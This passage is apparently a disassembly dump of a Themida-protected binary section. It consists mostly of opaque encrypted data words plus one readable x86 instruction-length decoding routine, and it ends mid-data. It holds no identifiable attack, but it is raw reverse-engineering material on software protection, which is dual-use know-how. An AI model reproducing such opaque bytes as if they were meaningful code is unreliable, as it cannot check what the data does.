0CA96F324h, 65BAFA3Ah, 3D66F1ADh dd 0E6836ED1h, 953B94FFh, 0E09AB721h, 809CDC07h, 7E0991Dh dd 3C62AE43h, 791F88B1h, 0E74CD730h, 8F3C722Ch, 4A8A1A84h dd 0E099CB2Eh, 0FAA0F907h, 9AD33B67h, 8FD007E0h, 7C22F1D5h dd 24FBC2ECh, 0C7B5733Eh, 782E321h, 5F89C959h, 9F3A27F7h dd 0D94DF374h, 0FE111E7h, 0EC4F6BEBh, 1AFFEBCAh, 68CD58C1h dd 0D668F3ABh, 2E5BF3ADh, 4CAFCB0Bh, 7AFFEBCBh, 0CB52B521h dd 2780FFEBh, 20122EBEh, 0C607EB6Fh, 0F380376Dh, 0FA3ACA96h dd 882E70A5h, 0E6272214h, 0CC57B007h, 0BD203C7Ch, 0E307E626h dd 7BDEFA8Ah, 0A907E626h, 16FDAA50h, 6EA55288h, 0F5801EF4h dd 88D863CCh, 80D33D5Eh, 0C352DF3Ah, 0BE2750DBh, 0BF88A418h dd 8EDE5BB2h, 73773064h, 1EC42A70h, 14FFE39Dh, 6CA7548Ah dd 4662A232h, 541A22E3h, 7977C11h, 5AEA537Ch, 1A23DB3Eh dd 0AB00954h, 0A1FD1277h, 0A15B8416h, 0B84856BDh, 59B6AC63h dd 2891BA45h, 7C974482h, 0D43D9222h, 0F29124CAh, 0Dh, 607CBC8Bh dd 0FFE682FDh, 8B24CA23h, 2F6FA72Ch, 0CAD43FA4h, 6836DA3Fh dd 29C78DDh, 9FFF1277h, 3C62AF14h, 0DBC34CB1h, 742AEB50h dd 108E84E9h, 0EC835285h, 24248904h, 4BE56h, 74010000h dd 535E0424h, 0C381E389h, 4, 4EB81h, 1C870000h, 1C895C24h dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 56243489h dd 3637F0BEh, 8BE68124h, 4658BF20h, 8102EEC1h, 0D90C08EEh dd 0EC68106h, 0BB274CC2h, 2880E1CCh, 685EF329h, 6BB3h dd 83242489h, 5E042404h, 8904EC83h, 8B82404h, 1000000h dd 581889F0h, 5E2434FFh, 0FF04C483h, 835B2434h, 5E904C4h dd 0ADFFFAD6h, 0A85DB8A5h, 0C50307FFh, 5D2DE0FFh, 0EE4E4C2Fh dd 1C7F6282h, 0E7B11B92h, 0B71B7769h, 39931672h, 3CE91C09h dd 1, 4Eh dup(0) dd 83000000h, 0FA0D95BDh, 840F0107h, 531h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0AFC35242h, 0F93B1720h dd 66585C6h, 0F84307FAh, 4E8h, 0A5D0F500h, 0EE9ECh, 583D0000h dd 1238B3FBh, 5B603283h, 1E30AAB9h, 52506050h, 0FFE8B66h dd 5A5E5031h, 52505058h, 585A310Fh, 448B615Ah, 66600424h dd 0B85852BAh, 3F61492Ch, 60008B61h, 0F525060h, 8B585A31h dd 896161DEh, 60042444h, 0BE8h, 0AEBC0C00h, 38BFD0E3h dd 82E380FEh, 12E8h, 5A00E800h, 3816E60Fh, 0DF1DE1Fh, 0BA4119EEh dd 58AE9F31h, 0BB9665Fh, 6A586178h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0DB17C353h dd 16EC387h, 18A0F18h, 0FC000000h, 0CE9h, 0A0789000h, 50153688h dd 4C546EEh, 95B5FFE8h, 0F07FA20h, 589h, 0EC806000h, 858D61E5h dd 7FDA3DDh, 6E9h, 617D4900h, 0F0848AAh, 38Ch, 61F56000h dd 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 26FD7AC3h, 3E40145Fh, 619CB460h, 2ED8589h dd 0EE907FAh, 14000000h, 0A7AA96BAh, 0C203C98Ch, 0BFB5048h dd 85C6F9CBh, 7FA0665h, 128C0F50h, 0E9000000h, 0Dh, 64C566DAh dd 21041C97h, 12B1848Ah, 0BD656802h, 5250AE13h, 0AE860h dd 0AC20000h, 0D6DC4FA8h, 0CD7D3D5Ch, 310F6159h, 5E95250h dd 64000000h, 89F2BC10h, 6160310Fh, 585A585Ah, 33243481h dd 0F06BE10h, 0A86h, 810F6000h, 0 dd 0FF61F38Bh, 0FA2095B5h, 1840F07h, 0FC000000h, 880F60h dd 66000000h, 618AEFB9h, 0A3DD858Dh, 0E96007FDh, 10h, 7B120070h dd 314C089Fh, 77A46C99h, 0B9460AE8h, 11E9h, 0D6654700h dd 0F65D102Bh, 25D1524Eh, 70779CD7h, 0FF61452Ch, 8589F8D0h dd 7FA0F09h, 8E860h, 0AC190000h, 4CD4980Fh, 615F2BDDh dd 4E8F8h, 0A82F0000h, 6160F08Fh, 0C880F50h, 0F000000h dd 688h, 850F00h, 8B000000h, 60042444h, 0C246BB66h, 60008B61h dd 24448961h, 50525004h, 0F525052h, 0F585A31h, 0F525031h dd 5A585A31h, 50310F58h, 0F525052h, 0F585A31h, 0F525031h dd 5A585A31h, 58585A58h, 0CE9h, 0C0BDDF00h, 55625BD3h dd 59A3D4CDh, 95B5FF45h, 6A07FA20h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 53D1C352h dd 0D3827505h, 840F609Dh, 2, 8D616160h, 0FDA3DD85h, 860F6007h dd 2, 0BE85B51h, 51000000h, 43063DA7h, 7252E92Eh, 0CE9D780h dd 76000000h, 0D1CA97D2h, 49CECE0Dh, 5B020A3Ch, 0CE961h dd 6F0C0000h, 11E32525h, 0CA10C71h, 0D0FF93F1h, 68A0F60h dd 81000000h, 0A15F4C1h, 81665156h, 58909BEFh, 75858961h dd 6007FA0Ah, 2810Fh, 1BB40000h, 6585C661h, 5007FA06h dd 12E9h, 0A8D65000h, 5964578Bh, 0DD38F480h, 1DE6FBFh dd 607AE4E8h, 28E0Fh, 61600000h, 0BE8h, 0CB06F500h, 4E6BCDA2h dd 0B9C29A6Dh, 1868615Ah, 0E9F2F12Bh, 14h, 14721E65h, 0E1FEFB75h dd 0AA7107B7h, 0D2C775B8h, 0C7A6979Eh, 4E243481h, 0E9656DF7h dd 0Ch, 0D758598Ch, 4DE38159h, 0F030DC51h, 8A5B5FFh, 60F507FAh dd 362695B9h, 13E924h, 3FD70000h, 22E4506Bh, 0ADE0EB51h dd 0ACCEFB25h, 4C2B42DAh, 858D61EAh, 7FA3AE2h, 0EE9h, 2952F600h dd 0D4087744h, 0CBAD56BCh, 0FF79B583h, 7E9D0h, 0AB380000h dd 2BA43070h, 0C585899Eh, 6007FA25h, 614BE880h, 140E9h dd 810FFC00h, 0Ch, 28B86660h, 8F0F4Dh, 61000000h, 0E9525050h dd 7, 183D1932h, 0FCCC160h, 0E9525031h, 6, 0EF7BC23Ch dd 310F0F0Bh, 310F5250h, 585A585Ah, 2C89585Ah, 0EC8BF824h dd 0C4836160h, 820FF9FCh, 15h, 10E9h, 26A92500h, 0D40C8E43h dd 0DE54D4A0h, 5DFA7D98h, 0E8F560A8h, 0 dd 0BBEA815Ah, 0C707FFAEh, 0FC45h, 0BA830000h, 7FA0D95h dd 98840F01h, 52000000h, 0F6A006Ah, 2ED92FFh, 895A07FAh dd 0FFA91682h, 1A9A8D07h, 5207FFA9h, 12803C7h, 50530000h dd 0F0992FFh, 525A07FAh, 0A91A9A8Dh, 0FF5307FFh, 0FFA916B2h dd 0C592FF07h, 5A07FA25h, 5074C00Bh, 0A91A9A8Dh, 7B8D07FFh dd 81C93324h, 104F9h, 41D47400h, 2E393C81h, 75455845h dd 39348DEEh, 8D0C752Bh, 0FA11DDBAh, 0C4D8B07h, 0C032A4F3h dd 75FF52AAh, 0DD828D08h, 5007FA11h, 0A7592FFh, 0B5A07FAh dd 0C7A075C0h, 1FC45h, 7EB0000h, 0FC45C7h, 61000000h, 0C9FC458Bh dd 0E90008C2h, 0Eh, 0CA84F5BCh, 1DAFEC00h, 99179E52h, 60F5BE5Ah dd 0F5F6BF0Fh, 5CD28B61h, 2E1E981Dh, 9C2ABCB1h, 33F3FE6Dh dd 4B07EA7Fh, 7C7B963Bh, 95FD477Eh, 5180048Bh, 60327A8Bh dd 0A8D0EAFFh, 6E1CEE0Bh, 0C01AA86h, 0FE3D463Ch, 0BD324755h dd 36614751h, 6F324738h, 0ECF11C1Bh, 0DF161BB2h, 0E91603BAh dd 0F6324722h, 90F11478h, 7702F117h, 0DBB4485Fh, 932473Bh dd 2A6A8BAh, 0DB31A4D2h, 0BE322D3Bh, 0F63244D3h, 0B869673Bh dd 996ECE60h, 0FA76C63Fh, 6F325E3Fh, 7461043Bh, 1341D570h dd 0FCDA6131h, 0E632473Bh, 3FCE568Fh, 3D2EB4A3h, 0A4D57E6Ah dd 0B51E48BBh, 0E92BB6BBh, 66B1BEB0h, 0EAC85FC2h, 0E0B6483Bh dd 8332473Bh, 0BD31D4D2h, 0DE39AE3Bh, 0CF27473Bh, 90BC0B34h dd 4FC9DCD8h, 5FB7CA15h, 1E35B894h, 7B324734h, 0C6DE2B3Ah dd 0C076CDDAh, 717F99B8h, 4F0A6711h, 458DD761h, 0BD2A4F25h dd 1B966581h, 0FB3DD762h, 0BD32472Ch, 0DE3257D3h, 7DCB1F3Bh dd 0CBA6D6A1h, 0D6A4D0B5h, 4518C76h, 7B68B286h, 849DD3BEh dd 0EE322D3Ch, 0DE3244D3h, 0AC69673Bh, 936ECE60h, 0FF76C63Fh dd 0ED325E3Fh, 3561043Bh, 0A34F9154h, 54A287D1h, 0DE32472Fh dd 34ACA903h, 0C7E52E74h, 0BC610CF7h, 0F5F82B0Ch, 603E37ACh dd 0FB64D76Bh, 0EA6BBCFAh, 0DBA7B864h, 0F35BD12h, 0B73249D2h dd 74E2743Bh, 3DC1CBCAh, 1CCF91D4h, 1BAD6C08h, 0EB4884BAh dd 5B3D7E86h, 6F32473Bh, 77B9265Ah, 33634751h, 0ED324738h dd 0AFF11E1Bh, 7F160BB2h, 0B91603BAh, 0DE32472Fh, 26F1167Ah dd 0B73241D3h, 5BB63C3Bh, 57403D12h, 0F9AC3F7Dh, 0B68FC462h dd 0BD35BD11h, 63B14E4Eh, 68C85FA2h, 0E72B333Bh, 63F2CC68h dd 0ED324341h, 0D6FBC2B2h, 0E6BF40C1h, 0BACEA51Fh, 866994C4h dd 77ABFAB8h, 0C33240C1h, 6361172Ch, 0ED324341h, 0D6FBC2B2h dd 0E6BF40C1h, 0BACE9828h, 866994C4h, 87604751h, 0B7324738h dd 81F11D1Bh, 0E91613B2h, 0F21603BAh, 7B324722h, 1FF11579h dd 4C815250h, 6F3AAF10h, 5D58473Bh, 9DA023C1h, 928CC2CAh dd 0AC34948Fh, 11F2CCC2h, 0BEDA153Bh, 0FE32473Bh, 0E6688461h dd 3636636Fh, 0CE36637Fh, 0AF32473Bh, 0F5068469h, 0E7AFCACEh dd 5435B894h, 0DE32472Bh, 50172E76h, 7A449F92h, 0C1892FCCh dd 5D9053AAh, 6933C2B6h, 7B5840C4h, 0BD31AF6Ah, 8712473Bh dd 23BB1EF8h, 0F3B3431Fh, 0DB26431Fh, 0BC73473Bh, 793DBEF8h dd 7B324739h, 6DCD91B0h, 2352F969h, 646D095Fh, 30B648FBh dd 0B132473Bh, 0EEDA113Bh, 0D632473Bh, 0F26C8465h, 3C36634Fh dd 0C936637Fh, 2932473Bh, 2A6F846Dh, 0CADA1EE2h, 6432473Bh dd 0DA4E15C0h, 0DE7BBE0Ah, 0CE95F0BAh, 0F334E8F4h, 0F2BF1DCEh dd 0B0C8085Dh, 22C5CC5Dh, 0ED324483h, 0A3322D3Bh, 7B3244D3h dd 7E6F673Bh, 0FA5ECE66h, 4B76C63Fh, 0B7325A3Fh, 1867023Bh dd 9F62CE58h, 63488D3Dh, 0B5B90986h, 0AEDBA4C4h, 5032473Bh dd 7B6B67AAh, 27AB4A91h, 13957171h, 0D22E6715h, 6BBF037Dh dd 7CCDE89Fh, 55674751h, 0DE324738h, 32F11A1Bh, 0B3162BB2h dd 0DF1603BAh, 0ED32472Eh, 0B1F1127Eh, 85854839h, 2233C2B6h dd 21CB40C4h, 60F24CEBh, 0B7325ABFh, 8F8B213Bh, 8BAFCAB0h dd 0F935BD74h, 7B3247BAh, 0BD33FF3Bh, 0B852473Bh, 0EA94D83h dd 2ABFA4C4h, 0DCCDE892h, 5654751h, 0F6324738h, 24F1181Bh dd 0B9163BB2h, 0DA1603BAh, 6F324720h, 39F1107Ch, 0B867C73Bh dd 8BAB93A8h, 7BD25184h, 84AD46BEh, 0BD3AAF3Ch, 0CF0B473Bh dd 28E323B4h, 0A7DB6C7Bh, 8C32473Bh, 0A77D214Fh, 0C3E5310h dd 0F13CD00Dh, 0E2C10FE0h, 5A3D97C4h, 6F32473Eh, 546E7F81h dd 0D4F24C5Ah, 0ED3218BFh, 0F63AAE3Bh, 7AC7473Bh, 55E9AD6Eh dd 43BFF235h, 68C8085Dh, 5F604751h, 0DB324738h, 0B7F11D1Bh dd 0F21613B2h, 7F1603BAh, 0BD324723h, 18F11579h, 75B3F9DBh dd 0FF8CC5Dh, 0DB324738h, 5624751h, 0F6324738h, 23F11F1Bh dd 0B91603B2h, 0DA1603BAh, 6F324722h, 8BF1177Bh, 93A75041h dd 18D1B8C6h, 96FBC778h, 0D4A0FAB6h, 30BF40C4h, 0D9CDF4C0h dd 246E3A83h, 62B774B1h, 0F035BD12h, 0BFDB86F4h, 0CDE89F6Bh dd 6747517Ch, 32473855h, 0F11A1BDEh, 162BB232h, 1603BAB3h dd 0F305E983h, 6AC08BA4h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0B10DC350h, 0B0D30739h dd 11E9B3h, 0B1710000h, 0AD3967F5h, 1484FF64h, 0D0D3A757h dd 0FAAFC0Fh, 8Ah, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0B7E0957Fh, 3D9EF83Ch dd 0FC38BB7h, 283h, 8BCDB600h, 0C68166C0h, 8D0F9ED6h, 15h dd 0AE8h, 0FE8D1600h, 37B9FE83h, 0BEAD377Eh, 170F626Dh dd 0CDBD8359h, 7FA2Ah, 0BD830975h, 7FA1899h, 50197400h dd 0B8C08B53h, 47Ah, 15818589h, 9D8D07FAh, 7FCE28Bh, 585BD3FFh dd 1899BD83h, 740007FAh, 0B8535017h, 47Ah, 15818589h, 9D8D07FAh dd 7FCDF2Ch, 585BD3FFh, 0CE8h, 2E79BF00h, 2062FC87h, 0D8DF1CC0h dd 0BE95Ch, 35EC0000h, 534A5FAh, 0DDE8E080h, 0E9525F6Fh dd 0Ah, 7542B4EBh, 4BBB9759h, 8B5AC2F0h, 0AE8C0h, 0D71B0000h dd 53499F02h, 62C745FDh, 3FD21ABBh, 0D7805954h, 69C18120h dd 0F500005Eh, 68h, 0AE6FB800h, 0E95E5C66h, 13h, 88FB2F51h dd 1C73A60Bh, 0FB1D0E00h, 0FD111786h, 8B3F4A8Bh, 8B663114h dd 0FF281F8h, 0E815786Ah, 9, 40243845h, 0A518682Eh, 815BF9AAh dd 7BC6C0F2h, 68B46054h, 0CE8h, 0E4A28000h, 806CF5B4h dd 0DA833A01h, 8161581Fh, 0EC8CF5C2h, 7EBB525Ah, 8F18AB24h dd 0C18A3104h, 0EE835B52h, 4EF88B01h, 0C0BB4E4Eh, 81750368h dd 0FFA240FEh, 9C850FFFh, 0FFFFFFFh, 68Ch, 0DCD08100h dd 0E9229FBDh, 266h, 0D98C6660h, 0F04C1F6h, 3584h, 0FF016A00h dd 0FA08A5B5h, 0DD858D07h, 0FF07FDA3h, 0D18589D0h, 8B07FA1Eh dd 0CEFC1FEh, 6000068h, 6A006A20h, 0D685702h, 0FF000100h dd 0FA1ED195h, 32E907h, 85C60000h, 7FA0665h, 30DF6856h dd 0B5FFA9C5h, 7FA2095h, 0A3DD858Dh, 0D0FF07FDh, 265D8589h dd 858D07FAh, 7FA2A55h, 6A406A50h, 95FF5605h, 7FA265Dh dd 0C361h, 2 dup(0) dd 8B520000h, 428B60D4h, 5D858908h, 8B07FFB6h, 85890C42h dd 7FFB655h, 8910428Bh, 0FFB65985h, 93B58D07h, 8D07FFB6h dd 5B8EA185h, 61D0FF00h, 0CC25Ah, 0B65DB58Bh, 858B07FFh dd 7FFB655h, 0B659BD83h, 0F0007FFh, 784h, 0E9068900h, 2 dd 0CF0688h, 0 dd 52000000h, 8B60D48Bh, 85890842h, 7FFB65Dh, 0B6E4B58Dh dd 858D07FFh, 5B8EA1h, 5A61D0FFh, 0B65D858Bh, 4C207FFh dd 5D858B00h, 8B07FFB6h, 5D858900h, 0CF07FFB6h, 0 dd 0BAB58960h, 8907FFB6h, 0FFB6B685h, 89858D07h, 8B07FA28h dd 85894440h, 7FFB6F3h, 0B729B58Dh, 858D07FFh, 5B8EA1h dd 8B61D0FFh, 0FFB6BA85h, 9D8BC307h, 7FFB6B6h, 3C43B70Fh dd 5B8BD803h, 0B69D0378h, 8B07FFB6h, 0B5032473h, 7FFB6B6h dd 207B8B56h, 31C738Bh, 0FFB6B6BDh, 0B6B50307h, 0FC07FFB6h dd 41FFC983h, 0B6BA9D8Bh, 178B07FFh, 0B6B69503h, 0C78307FFh dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h, 43FFFFFFh dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h dd 86048B0Fh, 0B6B68503h, 858907FFh, 7FFB6BAh, 0CE8BF08Bh dd 0BD81C18Bh, 7FFB6F3h, 0C0300000h, 0D850Fh, 0E8C10000h dd 0FFC2514h, 8E90000h, 0C1000000h, 0F82512E8h, 8B00003Fh dd 0FFB6F3BDh, 70C8307h, 7148B06h, 8124C28Bh, 0C18B813Ch dd 57840Fh, 0BD810000h, 7FFB6F3h, 0C0300000h, 0D850Fh dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h dd 81000000h, 0FFB6F3BDh, 30000007h, 0E840FC0h, 25000000h dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 7FFB661h, 0E058589h dd 858D07FAh, 7FFB6F7h, 0EAD8589h, 858D07FAh, 7FFB6BEh dd 2E798589h, 8D8D07FAh, 7FFB928h, 0E9C2BF0Fh, 0Bh, 3B2362Fh dd 1F9A08DDh, 898A2B00h, 0FA1CD98Dh, 45B50907h, 0C707FA01h dd 0FA31AD85h, 717407h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 0D5B86078h, 1047B82h dd 0FA344DB5h, 85C76107h, 7FA2BD9h, 0 dd 79EBE66h, 108D0Fh, 7E80000h, 0F0000000h, 5BEFC63h, 0EF800232h dd 0B5FF5A16h, 7FA2EA9h, 3165BD89h, 95FF07FAh, 7FA1799h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0ECC35545h dd 0FC8A098Fh, 830F3717h, 2, 6AF08Bh, 101995FFh, 0C08B07FAh dd 0E9546EEBh, 46320148h, 483FFE11h, 33F63807h, 0E3F77EF7h dd 9D34BDABh, 9FE7046Ah, 6E384FC4h, 5F722BE8h, 5B6ABA80h dd 9907CFBBh, 0A9C3386Ah, 7C3F52A4h, 9FBB0B8Bh, 30526748h dd 0E86448D6h, 0D3F28EB1h, 7266414Dh, 8C57034Ch, 536DB199h dd 28890B01h, 9EEFDF2h, 10C0843Bh, 0C40807D8h, 100FB4D6h dd 0A6C8AFF1h, 34418B22h, 53B26601h, 1C8E9h, 8 dup(41888800h) dd 4 dup(0) dd 880000h, 91C400h, 11111100h, 11111111h, 8899C911h, 88888888h dd 88h, 60000h, 444400h, 4100h, 11111100h, 44444411h, 88029944h dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h dd 0 dd 88h, 888888h, 80000000h, 88888800h, 888h, 8888800h dd 88888808h, 88h, 0 dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h dd 89h, 88888000h, 88888880h, 88888888h, 88888880h, 88888088h dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h, 0 dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0) dd 300h, 14h dup(0) dd 8C200h, 80757366h, 0FEh, 11h dup(0) dd 353E900h, 0E8550000h, 0 dd 73ED815Dh, 6007FFBBh, 0BAC085C7h, 7FFh, 81660000h, 0FA1663Eh dd 0F85h, 0C485C700h, 607FFBAh, 0E9000000h, 24h, 0BAC8858Dh dd 8D5007FFh, 0FFBB1885h, 6A565007h, 1DE800h, 0C4830000h dd 0FF2510h, 85890000h, 7FFBAC4h, 0C4B50361h, 8B07FFBAh dd 0FFBAC085h db 7, 5Dh, 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_5DF040 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_5DF04C ; --------------------------------------------------------------------------- loc_5DF040: ; CODE XREF: Themida_:005DF029j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_5DF04C: ; CODE XREF: Themida_:005DF03Bj push ebx push esi push edi loc_5DF04F: ; CODE XREF: Themida_:005DF0A4j ; Themida_:005DF0C0j ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_5DF062: ; CODE XREF: Themida_:005DF089j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 7FFBC2Ah lea ebp, [ebp+7FFBAA0h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_5DF08F inc cl cmp cl, 0Bh jb loc_5DF062 loc_5DF08F: ; CODE XREF: Themida_:005DF07Ej cmp cl, 0Bh jz loc_5DF0EC cmp al, 66h jnz loc_5DF0CD cmp byte ptr [ebp-5], 0 jnz loc_5DF04F cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_5DF0C5 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_5DF04F ; --------------------------------------------------------------------------- loc_5DF0C5: ; CODE XREF: Themida_:005DF0B2j and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_5DF0CD: ; CODE XREF: Themida_:005DF09Aj cmp al, 67h jnz loc_5DF04F cmp byte ptr [ebp-6], 0 jnz loc_5DF04F xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_5DF04F ; --------------------------------------------------------------------------- loc_5DF0EC: ; CODE XREF: Themida_:005DF092j mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_5DF118 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_5DF11D ; --------------------------------------------------------------------------- loc_5DF118: ; CODE XREF: Themida_:005DF0F7j movzx edi, al shr edi, 1 loc_5DF11D: ; CODE XREF: Themida_:005DF113j push ebp call $+5 pop ebp sub ebp, 7FFBCE2h lea ebp, [ebp+7FFB9A0h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_5DF29F mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_5DF1E3 dec ecx jz loc_5DF1C6 dec ecx jnz loc_5DF236 cmp byte ptr [ebp-2], 0 jnz loc_5DF232 cmp byte ptr [ebp-5], 0 jz loc_5DF1A5 mov byte ptr [ebp+0Bh], 2 loc_5DF1A5: ; CODE XREF: Themida_:005DF19Bj add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 7FFBD6Eh mov dword ptr [ebp+7FFBAC0h], 1 pop ebp jmp loc_5DF236 ; --------------------------------------------------------------------------- loc_5DF1C6: ; CODE XREF: Themida_:005DF180j cmp byte ptr [ebp-2], 0 jnz loc_5DF210 cmp byte ptr [ebp-5], 0 jz loc_5DF210 mov byte ptr [ebp+0Bh], 2 jmp loc_5DF210 ; --------------------------------------------------------------------------- loc_5DF1E3: ; CODE XREF: Themida_:005DF179j cmp byte ptr [ebp-2], 0 jnz loc_5DF229 cmp byte ptr [ebp-5], 0 jz loc_5DF218 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_5DF210 mov [ebp+0Bh], cl loc_5DF210: ; CODE XREF: Themida_:005DF1CAj ; Themida_:005DF1D4j ... inc byte ptr [ebp+0Bh] jmp loc_5DF236 ; --------------------------------------------------------------------------- loc_5DF218: ; CODE XREF: Themida_:005DF1F1j cmp dl, 5 jnz loc_5DF236 mov [ebp+0Bh], dl jmp loc_5DF236 ; --------------------------------------------------------------------------- loc_5DF229: ; CODE XREF: Themida_:005DF1E7j cmp dl, 6 jnz loc_5DF236 loc_5DF232: ; CODE XREF: Themida_:005DF191j mov byte ptr [ebp+0Bh], 3 loc_5DF236: ; CODE XREF: Themida_:005DF187j ; Themida_:005DF1C1j ... dec byte ptr [ebp+0Bh] jz loc_5DF264 movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_5DF246: ; CODE XREF: Themida_:005DF25Cj movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5DF246 mov esi, edx loc_5DF264: ; CODE XREF: Themida_:005DF239j and al, 0FEh cmp al, 0F6h jnz loc_5DF299 cmp edi, 7Fh ja loc_5DF299 test bl, 38h jnz loc_5DF299 cmp byte ptr [ebp-7], 0 jz loc_5DF293 movzx eax, byte ptr [ebp-4] jmp loc_5DF296 ; --------------------------------------------------------------------------- loc_5DF293: ; CODE XREF: Themida_:005DF284j push 1 pop eax loc_5DF296: ; CODE XREF: Themida_:005DF28Ej mov [ebp-1], al loc_5DF299: ; CODE XREF: Themida_:005DF268j ; Themida_:005DF271j ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_5DF29F: ; CODE XREF: Themida_:005DF149j mov al, bl and eax, 7 sub eax, 4 jz loc_5DF2CA dec eax dec eax jz loc_5DF2C0 and bl, 7 add [ebp-1], bl jmp loc_5DF2D2 ; --------------------------------------------------------------------------- loc_5DF2C0: ; CODE XREF: Themida_:005DF2AFj mov al, [ebp-3] add al, 6 jmp loc_5DF2CF ; --------------------------------------------------------------------------- loc_5DF2CA: ; CODE XREF: Themida_:005DF2A7j mov al, [ebp-3] add al, 4 loc_5DF2CF: ; CODE XREF: Themida_:005DF2C5j add [ebp-1], al loc_5DF2D2: ; CODE XREF: Themida_:005DF2BBj mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_5DF2FA movzx ecx, byte ptr [ebp-1] inc ecx loc_5DF2E5: ; CODE XREF: Themida_:005DF2F4j mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_5DF2E5 loc_5DF2FA: ; CODE XREF: Themida_:005DF2DAj pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- db 8Dh, 85h, 6Dh dd 8907FFBBh, 0FA310185h, 16BE907h, 7E510000h, 6EFC4973h dd 4A92865Eh, 5EB04EA2h, 50BB097Fh, 50B85074h, 5EB30977h dd 778F507Ch, 22863957h, 76085005h, 0C26CD2FEh, 0B09C9EFAh dd 120F5042h, 1285033h, 0 dd 40000h, 2 dup(0) dd 350000h, 0 dd 80000h, 0 dd 79530000h, 6D657473h, 72502000h, 7365636Fh, 5D73h, 40h dup(0) dd 1651E900h, 5680000h, 0E907FFC2h, 0FFFB94D0h, 0FFC2EA68h dd 94C6E907h, 0CC68FFFBh, 0E907FFC3h, 0FFFB94BCh, 0FFC49168h dd 94B2E907h, 3668FFFBh, 0E907FFC6h, 0FFFB94A8h, 0FFC7BF68h dd 949EE907h, 0A268FFFBh, 0E907FFC8h, 0FFFB9494h, 0FFC97F68h dd 948AE907h, 8768FFFBh, 0E907FFCBh, 0FFFB9480h, 0FFCC8868h dd 9476E907h, 3568FFFBh, 0E907FFCDh, 0FFFB946Ch, 0FFCDCB68h dd 9462E907h, 1268FFFBh, 0E907FFCFh, 0FFFB9458h, 0FFD44768h dd 944EE907h, 5768FFFBh, 0E907FFD5h, 0FFFB9444h, 73FAB344h dd 0FE853CCCh, 8D14AB57h, 169D10E6h, 0A42B926Fh, 8C79190Ah dd 0F407AE35h, 79933AC1h, 0E920C74Eh, 0AB1A51D8h, 0E1D7712Eh dd 2198D1EFh, 9AC0BE78h, 0F4C0EC2h, 259C6DE3h, 0A312EB8Ah dd 0F406ED6Ch, 16CF8CC1h, 0E42FE7E2h, 63FEB545h, 0A51CDB18h dd 74F12865h, 0EF7C316Eh, 0C5FA95E0h, 0EFDC410Ch, 0FB962FDEh dd 7914AD5Ch, 0E455207Bh, 77CA9500h, 0D0AA13CCh, 3205h dd 5D9DE100h, 3A6CE920h, 0A4EF7C1Fh, 0D089BE59h, 5DEFDC2Eh dd 79CA27F2h, 58D0AA25h, 0D5h, 38F572F1h, 98EFDC23h, 2327E461h dd 